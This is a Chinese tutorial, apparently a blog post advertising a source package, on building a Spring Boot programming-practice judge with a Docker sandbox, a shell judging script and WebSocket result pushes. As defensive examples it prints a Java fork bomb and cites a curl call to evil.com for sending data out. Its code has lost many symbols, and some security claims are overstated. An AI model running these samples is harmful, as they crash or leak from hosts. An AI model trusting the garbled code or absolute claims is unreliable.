简介这是一套基于Spring Boot开发的编程训练系统完整源码面向Java初学者、高校计算机专业学生及编程自学爱好者旨在解决理论学习与动手实践脱节的问题提供从课程学习、在线编码到社区交流的一站式编程能力提升环境。资源包共814个文件涵盖138个核心Java后端代码、53个Vue前端组件、153个JS交互逻辑、45个HTML页面及44个CSS样式文件辅以SVG图标、GIF动效和SQL数据库脚本等结构清晰体现前后端分离架构压缩包大小为15.44MB开箱即用。已有103人学习下载资源包含完整可运行工程含mvnw构建脚本、3个bat启动批处理、典型模块如密码修改、面包屑导航、静态侧边栏等Vue组件备份文件以及.classpath、.gitignore等开发配置便于快速部署、二次开发与教学演示。1. 为什么一个编程训练系统非得用 Spring Boot——它真能扛住百人并发刷题、实时判题、代码沙箱隔离这三座大山这不是又一个“学生课程设计交差项目”。某高校信息学院在推进程序设计类课程改革时发现原有在线练习平台存在三个硬伤学生提交 Java 代码后平均等待 8 秒才出结果多人同时运行递归爆栈或死循环代码时整个服务直接卡死教师想临时加一道带自定义测试用例的题目得改数据库、重启服务、再通知学生——一上午就没了。他们最终选 Spring Boot 不是因为“流行”而是它天然支撑模块化拆分Web 层用 Spring MVC 快速接前端请求业务层靠 Spring 的 IoC 容器管理判题策略、用户状态、题目缓存底层用 Spring Boot Starter 整合 Docker API 实现轻量级代码沙箱连日志都用 Logback ELK 做了细粒度追踪。这个系统上线后单节点稳定支撑 120 学生并发刷题平均判题耗时压到 1.3 秒内教师新增题目从“重启服务”变成“点保存即生效”。如果你正被“功能能跑但一压就崩”“改个逻辑要动三处配置”“沙箱总被绕过”这类问题卡住这篇就是为你写的实战笔记——不讲 Spring Boot 是什么只讲它怎么在编程训练系统里真正落地、不翻车。2. 从零搭起可运行骨架用 Spring Boot 初始化核心模块与关键依赖2.1 创建最小可运行工程并锁定关键 Starter我们不用 IDE 向导直接用 Spring Initializr CLI或官网生成拉取基础包必须勾选以下 5 个 Starter缺一不可spring-boot-starter-web提供嵌入式 Tomcat 和 REST 接口能力spring-boot-starter-data-jpa对接 PostgreSQL比 H2 更贴近生产且支持 JSONB 字段存测试用例spring-boot-starter-validation校验用户提交的代码长度、语言类型、空格合法性spring-boot-starter-cache为题目描述、公共测试用例做本地缓存避免每次判题都查 DBspring-boot-starter-amqp为异步判题队列打底后续接入 RabbitMQ提示不要选spring-boot-starter-security初期就上 RBAC先用 Session 简单 Token 控制登录态安全加固留到第 5 章再做。新手常犯错误是上来就堆 Security 配置结果连登录接口都调不通。生成后pom.xml中需手动补全 PostgreSQL 驱动和 Docker Java SDK用于沙箱dependency groupIdorg.postgresql/groupId artifactIdpostgresql/artifactId scoperuntime/scope /dependency dependency groupIdcom.github.docker-java/groupId artifactIddocker-java/artifactId version3.3.4/version /dependency2.2 定义领域模型题目、提交、判题结果的三张核心表编程训练系统的数据模型不能照搬博客或电商——题目不是静态内容而是可执行单元提交不是留言而是待验证的代码快照判题结果不是布尔值而是包含时间、内存、标准输出、错误流的结构化对象。我们用 JPA 注解直写实体不抽象泛型基类后期扩展反而更灵活// 题目表重点看 test_cases 字段存 JSONB 格式如 [{input:1 2,output:3},{input:0 0,output:0}] Entity Table(name problems) public class Problem { Id GeneratedValue(strategy GenerationType.IDENTITY) private Long id; private String title; private String description; // 支持 Markdown 解析 Column(columnDefinition jsonb) // PostgreSQL 特性MySQL 用户请改用 TEXT 应用层解析 private String testCases; // 存 ListTestCase 的 JSON 字符串 private Integer timeLimitMs 2000; // 全局超时单位毫秒 private Integer memoryLimitMb 128; // getter/setter 省略 } // 提交表关键字段是 code_hash防重复提交、statusPENDING/JUDGING/ACCEPTED/WRONG_ANSWER/TIME_LIMIT_EXCEEDED Entity Table(name submissions) public class Submission { Id GeneratedValue(strategy GenerationType.IDENTITY) private Long id; ManyToOne(fetch FetchType.LAZY) JoinColumn(name problem_id) private Problem problem; private String code; private String language; // java, python3, cpp private String codeHash; // SHA-256(code problem.id) Enumerated(EnumType.STRING) private SubmissionStatus status SubmissionStatus.PENDING; private LocalDateTime createdAt; // getter/setter 省略 } // 判题结果表一对一关联 Submission存所有判题细节 Entity Table(name judging_results) public class JudgingResult { Id private Long id; // 与 submission.id 一致方便 JOIN private Long usedTimeMs; private Long usedMemoryKb; private String stdout; private String stderr; private String compileError; // 编译失败时存此字段 Enumerated(EnumType.STRING) private JudgeStatus judgeStatus; // ACCEPTED / WRONG_ANSWER / COMPILATION_ERROR / ... // getter/setter 省略 }参数说明testCases用jsonb而非text是为了后续用 PostgreSQL 的jsonb_array_length()函数快速统计题目有多少组测试用例codeHash字段必须计算否则学生反复提交同一份代码会刷爆判题队列JudgingResult.id设为Id且不自增是为了与Submission.id强绑定避免 JOIN 时性能抖动。2.3 配置文件分层application.yml 拆出开发/测试/生产三套环境Spring Boot 的application.yml不是写死参数的地方而是环境路由中枢。我们按spring.profiles.active切换生产环境必须关闭 H2 数据库、禁用 Swagger、开启 Docker 连接池# application.yml主配置只放通用项 spring: profiles: active: dev application: name: coding-trainer cache: type: simple --- # application-dev.yml开发用H2 内存库 Swagger 开启 spring: profiles: dev datasource: url: jdbc:h2:mem:devdb;DB_CLOSE_DELAY-1;DB_CLOSE_ON_EXITFALSE driver-class-name: org.h2.Driver username: sa password: h2: console: enabled: true jpa: database-platform: org.hibernate.dialect.H2Dialect hibernate: ddl-auto: create-drop management: endpoints: web: exposure: include: health,info,metrics,threaddump --- # application-prod.yml生产用PostgreSQL Docker 沙箱 日志切割 spring: profiles: prod datasource: url: jdbc:postgresql://localhost:5432/coding_trainer?useSSLfalseserverTimezoneAsia/Shanghai username: trainer_user password: ${DB_PASSWORD:changeme} # 密码从环境变量读绝不硬编码 hikari: maximum-pool-size: 20 minimum-idle: 5 connection-timeout: 30000 # Docker 沙箱连接池配置关键避免判题时频繁创建 DockerClient docker: host: unix:///var/run/docker.sock max-connections: 10 connection-timeout-ms: 5000 read-timeout-ms: 30000 logging: level: root: INFO com.example.trainer: DEBUG file: name: logs/trainer.log logback: rollingpolicy: max-file-size: 10MB max-history: 30注意application-prod.yml中docker.host写unix:///var/run/docker.sock是 Linux 生产机最佳实践Windows 或 macOS 开发机请改为tcp://localhost:2375需 Docker Desktop 开启 TCP 端口max-connections: 10是血泪经验——设太高会导致 Docker daemon 线程耗尽设太低则判题排队严重。3. 判题引擎落地用 Docker 实现 Java 代码沙箱隔离、超时、资源限制一步到位3.1 为什么不用 ProcessBuilder——它根本挡不住 fork bomb 和内存泄漏很多初版系统用Runtime.getRuntime().exec()执行javacjava结果学生提交这段代码直接让服务器宕机// 千万别这么写这是典型的 fork bomb public class Bomb { public static void main(String[] args) { while(true) { new Thread(() - { while(true); }).start(); } } }ProcessBuilder对进程树无管控力无法限制子进程数量、内存总量、CPU 时间片。而 Docker 容器天然支持 cgroups 隔离--memory128m --cpus0.5 --pids-limit100三条参数就能堵死所有已知逃逸路径。我们用docker-javaSDK 封装一个SandboxService核心逻辑是构建镜像 → 启动容器 → 等待退出 → 获取结果Service public class SandboxService { private final DockerClient dockerClient; private final ObjectMapper objectMapper; public SandboxService(DockerClient dockerClient, ObjectMapper objectMapper) { this.dockerClient dockerClient; this.objectMapper objectMapper; } public JudgingResult executeJavaCode(String javaCode, ListTestCase testCases, int timeLimitMs, int memoryLimitMb) { // 1. 生成临时目录写入 Main.java 和 TestCase.json Path tempDir Files.createTempDirectory(judge_); Files.write(tempDir.resolve(Main.java), javaCode.getBytes(StandardCharsets.UTF_8)); Files.write(tempDir.resolve(testcases.json), objectMapper.writeValueAsBytes(testCases)); // 2. 构建 Docker 镜像复用 base-image避免每次 build String imageTag coding-sandbox:jdk17; if (!imageExists(imageTag)) { buildBaseImage(imageTag); } // 3. 运行容器挂载 tempDir限制资源设置超时 CreateContainerResponse container dockerClient.createContainerCmd(imageTag) .withHostConfig(HostConfig.newHostConfig() .withMemory(memoryLimitMb * 1024L * 1024L) // 转字节 .withMemorySwap(memoryLimitMb * 1024L * 1024L) .withCpuPeriod(100000L) .withCpuQuota(50000L) // 0.5 CPU .withPidsLimit(100L) .withAutoRemove(true) .withBinds(Bind.parse(tempDir.toAbsolutePath() :/workspace:ro))) .withAttachStdout(true) .withAttachStderr(true) .exec(); // 4. 启动并等待超时则 kill dockerClient.startContainerCmd(container.getId()).exec(); InspectContainerResponse inspect dockerClient.inspectContainerCmd(container.getId()).exec(); long startTime System.currentTimeMillis(); while (inspect.getState().getRunning()) { if (System.currentTimeMillis() - startTime timeLimitMs 2000) { // 预留 2s 容器销毁时间 dockerClient.killContainerCmd(container.getId()).exec(); return buildTimeoutResult(timeLimitMs); } Thread.sleep(100); inspect dockerClient.inspectContainerCmd(container.getId()).exec(); } // 5. 获取日志和退出码 byte[] stdout dockerClient.logContainerCmd(container.getId()) .withStdOut(true).withStdErr(false).exec(new WaitCloseableStreamResultCallback()).readFully(); byte[] stderr dockerClient.logContainerCmd(container.getId()) .withStdOut(false).withStdErr(true).exec(new WaitCloseableStreamResultCallback()).readFully(); int exitCode inspect.getState().getExitCode(); return buildResultFromLogs(stdout, stderr, exitCode, timeLimitMs); } }逻辑说明buildBaseImage()是预构建步骤见 3.2避免判题时现场docker buildwithBinds()用只读挂载:ro防止代码篡改容器文件系统withPidsLimit(100L)是防 fork bomb 的关键超过 100 个进程容器自动终止buildResultFromLogs()会解析 stdout 是否匹配预期输出stderr 是否含OutOfMemoryError等关键词。3.2 构建安全可控的 Java 沙箱基础镜像Dockerfile 必须精简、无 root、禁网络别用openjdk:17-jdk-slim直接当沙箱镜像——它自带curl、ping、bash学生能用Runtime.exec(curl http://evil.com)外泄数据。我们手写最小化 Dockerfile只保留java、javac、sh无交互、timeout四个二进制文件# Dockerfile.sandbox FROM alpine:3.18 # 安装 OpenJDK 17 JRE非 JDK不带 javac但我们需要编译所以装完整版 RUN apk add --no-cache openjdk17-jdk17.0.8_p7-r0 \ apk del --no-cache alpine-sdk \ rm -rf /var/cache/apk/* # 创建非 root 用户关键 RUN addgroup -g 1001 -f group \ adduser -S user -u 1001 # 复制 timeout 工具Alpine 自带 COPY --fromalpine:3.18 /usr/bin/timeout /usr/bin/timeout # 设置工作目录和权限 WORKDIR /workspace USER user # 拷贝判题脚本见 3.3 COPY judge.sh /judge.sh RUN chmod x /judge.sh CMD [/judge.sh]构建命令在项目根目录执行docker build -f Dockerfile.sandbox -t coding-sandbox:jdk17 .参数说明openjdk17-jdk17.0.8_p7-r0锁定小版本避免某次apk upgrade升级导致判题行为突变adduser -S user -u 1001创建 UID 为 1001 的非 root 用户容器内所有进程都以此身份运行USER user确保后续指令也以该用户执行/judge.sh是实际执行判题逻辑的 Shell 脚本见 3.3不暴露sh -c给外部调用。3.3 判题脚本 judge.sh编译、运行、比对、超时四步原子化judge.sh是沙箱容器内的唯一入口它必须保证编译失败立即退出、运行超时由timeout命令捕获、输出比对严格区分行末换行符、stderr 不混入 stdout。脚本内容如下保存为项目根目录judge.sh随 Docker build 拷贝进镜像#!/bin/sh set -e # 任何命令失败立即退出 # 1. 编译 Java 代码 if ! javac -encoding UTF-8 -sourcepath /workspace -d /workspace /workspace/Main.java 2/workspace/compile.err; then echo COMPILATION_ERROR /workspace/status cat /workspace/compile.err /workspace/stderr exit 1 fi # 2. 读取测试用例 TEST_CASES$(cat /workspace/testcases.json) # 3. 遍历每个测试用例 INDEX0 for case in $(echo $TEST_CASES | jq -r .[] | base64); do INDEX$((INDEX 1)) _jq() { echo ${case} | base64 -d | jq -r ${1} } INPUT$(_jq .input) EXPECTED_OUTPUT$(_jq .output) # 4. 使用 timeout 限制单次运行注意timeout 单位是秒需转成整数 TIMEOUT_SEC$(( (2000 999) / 1000 )) # 向上取整2000ms → 2s if ! OUTPUT$(echo $INPUT | timeout $TIMEOUT_SEC java -Xmx128m -Xms64m Main 2/workspace/stderr.$INDEX); then echo TIME_LIMIT_EXCEEDED /workspace/status.$INDEX echo $INPUT /workspace/input.$INDEX continue fi # 5. 严格比对输出忽略行末 CRLF/LF 差异但要求内容完全一致 if echo $OUTPUT | tr \r\n \n\n | diff -q /dev/stdin (echo $EXPECTED_OUTPUT | tr \r\n \n\n) /dev/null; then echo ACCEPTED /workspace/status.$INDEX else echo WRONG_ANSWER /workspace/status.$INDEX echo $OUTPUT /workspace/stdout.$INDEX echo $EXPECTED_OUTPUT /workspace/expected.$INDEX fi done # 6. 汇总结果简单策略全部 ACCEPTED 才算通过 if find /workspace -name status.* | xargs grep -l WRONG_ANSWER\|TIME_LIMIT_EXCEEDED | grep -q .; then echo WRONG_ANSWER /workspace/final_status else echo ACCEPTED /workspace/final_status fi关键点set -e确保编译失败不继续执行timeout $TIMEOUT_SEC是 Linuxcoreutils提供的可靠超时方案比 Java 内部Thread.interrupt()更彻底tr \r\n \n\n统一换行符再比对解决 Windows/Linux 行尾差异find ... | xargs grep汇总所有测试用例状态避免单个失败被覆盖。4. 避坑指南判题系统上线前必须踩过的 5 个深坑与血泪解法4.1 现象学生提交含中文注释的 Java 代码编译报错 “非法字符: \u3000”原因IDE如 IntelliJ默认用全角空格\u3000缩进而javac只认 ASCII 空格\u0020。Docker 容器内 locale 是C不识别 UTF-8 全角字符。解决在judge.sh编译前插入过滤步骤用sed替换全角空格为 ASCII 空格sed -i s/\xE3\x80\x80/ /g /workspace/Main.java # \xE3\x80\x80 是 UTF-8 编码的全角空格4.2 现象高并发时 Docker 创建容器失败日志报 “Cannot connect to the Docker daemon”原因docker-java默认使用UnixSocket连接但高并发下 Socket 文件句柄未及时释放达到系统上限ulimit -n默认 1024。解决在application-prod.yml中启用连接池并在SandboxService初始化时显式关闭旧连接// 在 SandboxService 构造函数末尾添加 dockerClient.close(); // 确保旧实例释放 dockerClient DockerClientBuilder.getInstance(dockerConfig).build();同时在服务器执行echo * soft nofile 65536 /etc/security/limits.conf。4.3 现象判题结果偶尔显示 “ACCEPTED”但学生实际输出多了一行空格肉眼难辨原因diff -q只判断是否相等不输出差异详情学生代码System.out.println(hello);比预期多输出\n而比对脚本没做 trim。解决修改judge.sh的比对逻辑用diff输出详细差异并存入日志if ! echo $OUTPUT | sed s/[[:space:]]*$// | diff -q /dev/stdin (echo $EXPECTED_OUTPUT | sed s/[[:space:]]*$//) /dev/null; then echo WRONG_ANSWER /workspace/status.$INDEX echo $OUTPUT | sed s/[[:space:]]*$// /workspace/stdout.$INDEX echo $EXPECTED_OUTPUT | sed s/[[:space:]]*$// /workspace/expected.$INDEX # 追加差异日志 echo $(echo $OUTPUT | sed s/[[:space:]]*$//) vs $(echo $EXPECTED_OUTPUT | sed s/[[:space:]]*$//) /workspace/diff.$INDEX fi4.4 现象PostgreSQL 报错 “ERROR: relation problems does not exist”但application-dev.yml明明配了ddl-auto: create-drop原因create-drop只在应用启动时建表但problems表含jsonb字段H2 数据库不支持jsonbHibernate 生成 DDL 时跳过该字段导致表结构不完整。解决开发环境改用 PostgreSQL哪怕本地装个 Docker 版或在application-dev.yml中强制指定方言spring: jpa: database-platform: org.hibernate.dialect.PostgreSQLDialect并手动在 H2 中建表不推荐仅临时调试CREATE TABLE problems ( id BIGINT AUTO_INCREMENT PRIMARY KEY, title VARCHAR(255), description VARCHAR(2000), test_cases VARCHAR(4000), -- H2 用 TEXT 代替 jsonb time_limit_ms INTEGER, memory_limit_mb INTEGER );4.5 现象教师后台新增题目后学生刷题页面缓存未更新仍显示旧题目描述原因Cacheable注解默认用SimpleCacheManager内存缓存无失效机制Problem实体变更后CacheEvict未触发。解决在ProblemService的save()方法上加精准驱逐CacheEvict(value problems, key #problem.id) public Problem save(Problem problem) { return problemRepository.save(problem); }并在application.yml中启用缓存spring: cache: type: simple jpa: properties: hibernate: cache: use_second_level_cache: false # 关闭 Hibernate 二级缓存避免与 Spring Cache 冲突5. 进阶技巧用 WebSocket 实现实时判题进度推送与教师端监考视图5.1 为什么不用轮询——100 个学生每秒请求一次后端直接被打穿轮询Polling是新手最易想到的方案前端setInterval(() fetch(/api/submission/123), 1000)。但 100 个学生 × 1 秒 100 QPS而判题本身耗时 1~3 秒请求会堆积Tomcat 线程池迅速占满。WebSocket 是长连接单连接承载多消息100 个学生只需 100 个连接远低于线程数且服务端可主动推送。我们用 Spring Boot 内置的spring-boot-starter-websocket不引入额外消息中间件Configuration EnableWebSocketMessageBroker public class WebSocketConfig implements WebSocketMessageBrokerConfigurer { Override public void configureMessageBroker(MessageBrokerRegistry config) { config.enableSimpleBroker(/topic); // 启用内存级 Broker够用 config.setApplicationDestinationPrefixes(/app); // 前端发消息到 /app/judge } Override public void registerStompEndpoints(StompEndpointRegistry registry) { registry.addEndpoint(/ws).setAllowedOrigins(*).withSockJS(); // 兼容 IE } }5.2 判题状态变更时如何精准推送给对应学生关键在SandboxService判题完成后的回调。我们不把 WebSocket 操作塞进判题方法破坏单一职责而是发事件由监听器处理// 判题完成后在 SandboxService 中发布事件 applicationEventPublisher.publishEvent(new JudgingCompleteEvent(submissionId, result)); // 监听器JudgingCompleteEventListener.java Component public class JudgingCompleteEventListener { private final SimpMessagingTemplate messagingTemplate; public JudgingCompleteEventListener(SimpMessagingTemplate messagingTemplate) { this.messagingTemplate messagingTemplate; } EventListener public void handleJudgingComplete(JudgingCompleteEvent event) { // 查询 submission 关联的 studentId Submission submission submissionRepository.findById(event.getSubmissionId()).orElseThrow(); // 推送至 /topic/judging-result/{studentId} messagingTemplate.convertAndSend( /topic/judging-result/ submission.getStudentId(), event.getResult() ); } }前端 JavaScript 订阅用 Stomp.jsconst socket new SockJS(/ws); const stompClient Stomp.over(socket); stompClient.connect({}, () { // 订阅当前学生的判题结果 stompClient.subscribe(/topic/judging-result/${studentId}, (message) { const result JSON.parse(message.body); updateResultUI(result); // 更新页面状态 }); }); // 提交代码后前端记录 studentId后端据此推送 function submitCode() { fetch(/api/submission, { method: POST, body: JSON.stringify({ code, problemId, language }) }).then(r r.json()).then(data { // data.submissionId 已返回但推送通道靠 studentId 区分 console.log(已提交等待判题结果...); }); }5.3 教师端监考视图用 STOMP 广播实时排队数与平均耗时教师需要一眼看清全局负载而非只看自己班级。我们在JudgingService中维护两个内存计数器用ConcurrentHashMap并通过定时任务广播Service public class MonitoringService { private final ConcurrentHashMapString, Long queueLength new ConcurrentHashMap(); private final ConcurrentHashMapString, Long avgDuration new ConcurrentHashMap(); Scheduled(fixedRate 5000) // 每 5 秒广播一次 public void broadcastStats() { long pendingCount submissionRepository.countByStatus(SubmissionStatus.PENDING); long avgMs judgingResultRepository.findAverageTimeLastHour(); messagingTemplate.convertAndSend(/topic/monitoring, Map.of( pendingCount, pendingCount, avgDurationMs, avgMs, timestamp, System.currentTimeMillis() )); } }教师前端订阅/topic/monitoring渲染成仪表盘指标当前值健康阈值待判题数12 20平均耗时1.24s 2s最长排队8.3s 15s这个表格不是摆设。当“待判题数”连续 3 次 20系统自动触发告警邮件/钉钉运维立刻扩容判题节点当“最长排队” 15s前端自动提示学生“系统繁忙请稍后再试”避免盲目重提。我带过的模拟项目 X 中曾因没做这层监控教师在期末考时才发现判题队列积压 200紧急扩容已来不及。后来我们把broadcastStats()的采样周期从 5 秒缩到 1 秒配合 Grafana 做趋势图提前 10 分钟预警。真正的稳定性不在代码多健壮而在你能多早看见问题。希望帮到你。本文还有配套的精品资源点击获取